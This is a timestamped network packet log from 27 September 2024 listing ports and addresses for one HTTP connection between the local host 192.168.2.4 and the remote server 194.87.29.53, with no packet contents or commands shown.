Sep 27, 2024 18:29:08.234553099 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.234564066 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.234575033 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.234581947 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.234586000 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.234591961 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.234600067 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.234611034 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.234620094 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.234621048 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.234633923 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.234647989 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.234667063 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.235008001 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.235022068 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.235053062 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.235078096 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.235157967 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.235167980 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.235177994 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.235188961 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.235197067 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.235199928 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.235213041 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.235217094 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.235228062 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.235240936 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.235240936 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.235258102 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.235281944 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.235400915 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.235410929 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.235420942 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.235431910 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.235443115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.235441923 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.235456944 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.235471010 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.235493898 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.235563993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.235577106 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.235605955 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.235625982 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.318048954 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.318072081 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.318084955 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.318106890 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.318135023 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.318152905 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.318166018 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.318176985 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.318188906 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.318197966 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.318201065 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.318213940 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.318243027 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.318268061 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.318291903 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.318303108 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.318309069 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.318331957 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.318341970 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.318403006 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.318414927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.318428040 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.318439960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.318445921 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.318464994 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.318495989 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.318495989 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.318541050 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.318573952 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.318587065 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.318603039 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.318614960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.318615913 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.318624020 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.318628073 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.318648100 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.318681955 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.318712950 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.318727016 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.318754911 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.318779945 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.318799973 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.318813086 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.318823099 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.318835020 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.318835974 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.318847895 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.318850040 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.318861961 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.318869114 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.318886042 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.318908930 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.319035053 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.319053888 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.319066048 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.319077015 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.319077969 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.319087982 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.319108009 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.319118977 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.319221973 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.319233894 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.319246054 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.319257021 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.319267988 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.319267988 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.319276094 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.319279909 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.319286108 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.319324970 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.319329023 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.319366932 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.319392920 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.319405079 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.319436073 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.319448948 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.319528103 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.319540024 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.319550991 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.319562912 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.319570065 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.319581985 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.319598913 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.319680929 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.319691896 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.319704056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.319722891 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.319724083 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.319736004 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.319746971 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.319749117 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.319775105 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.319786072 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.319812059 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.319855928 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.319894075 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.319905996 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.319916964 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.319930077 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.319936991 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.319945097 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.319978952 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.320003033 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.320039988 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320053101 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320064068 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320084095 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.320097923 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.320108891 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.320180893 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320194006 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320210934 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320220947 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320224047 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.320233107 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.320235014 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320246935 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.320246935 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320261002 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320267916 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.320274115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320281029 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.320307970 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.320328951 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.320451021 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320463896 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320475101 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320486069 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320496082 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320497036 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.320507050 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.320508957 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320523024 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320537090 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.320552111 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.320570946 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.320744991 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320755959 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320765972 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320775986 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320789099 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.320795059 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320801020 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.320806980 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320817947 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320826054 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.320832014 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320844889 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320849895 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.320856094 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320868015 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320873976 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.320879936 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.320890903 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.320913076 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.320936918 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.321229935 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.321240902 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.321259975 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.321269989 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.321276903 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.321280956 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.321291924 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.321300030 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.321302891 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.321315050 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.321320057 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.321326971 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.321336985 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.321345091 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.321347952 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.321352005 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.321361065 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.321376085 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.321382046 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.321387053 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.321403980 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.321418047 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.321683884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.321695089 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.321726084 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.321747065 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.321757078 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.321769953 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.321791887 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.321795940 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.321803093 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.321830988 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.321860075 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.321871996 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.321882963 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.321892023 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.321901083 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.321904898 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.321909904 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.321930885 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.321950912 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.321974993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.322014093 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.322042942 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.322052002 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.322078943 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.322092056 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.322119951 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.322132111 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.322141886 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.322154045 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.322160959 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.322170019 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.322187901 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.322288036 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.322328091 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.406064987 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.406079054 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.406090975 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.406193018 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.406203985 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.406214952 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.406227112 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.406238079 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.406250954 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.406290054 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.406547070 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.406558990 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.406569004 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.406594992 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.406625032 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.406719923 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.406730890 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.406740904 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.406753063 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.406764030 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.406785965 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.406809092 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.406912088 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.406923056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.406934977 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.406956911 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.406970024 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.407087088 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.407099009 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.407109022 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.407119989 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.407135010 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.407162905 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.407341003 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.407356977 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.407371044 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.407390118 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.407403946 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.407403946 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.407413960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.407414913 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.407426119 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.407445908 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.407459974 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.407521009 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.407531977 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.407569885 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.407701015 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.407712936 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.407751083 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.407891989 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.407902956 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.407915115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.407924891 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.407934904 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.407934904 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.407947063 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.407965899 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.407989979 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.408037901 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.408050060 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.408060074 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.408071995 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.408077955 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.408082962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.408096075 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.408102036 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.408127069 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.408138037 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.408194065 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.408235073 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.408354998 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.408396006 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.408560991 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.408571959 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.408581972 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.408613920 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.408627987 CEST	60865	80	192.168.2.4	194.87.29.53
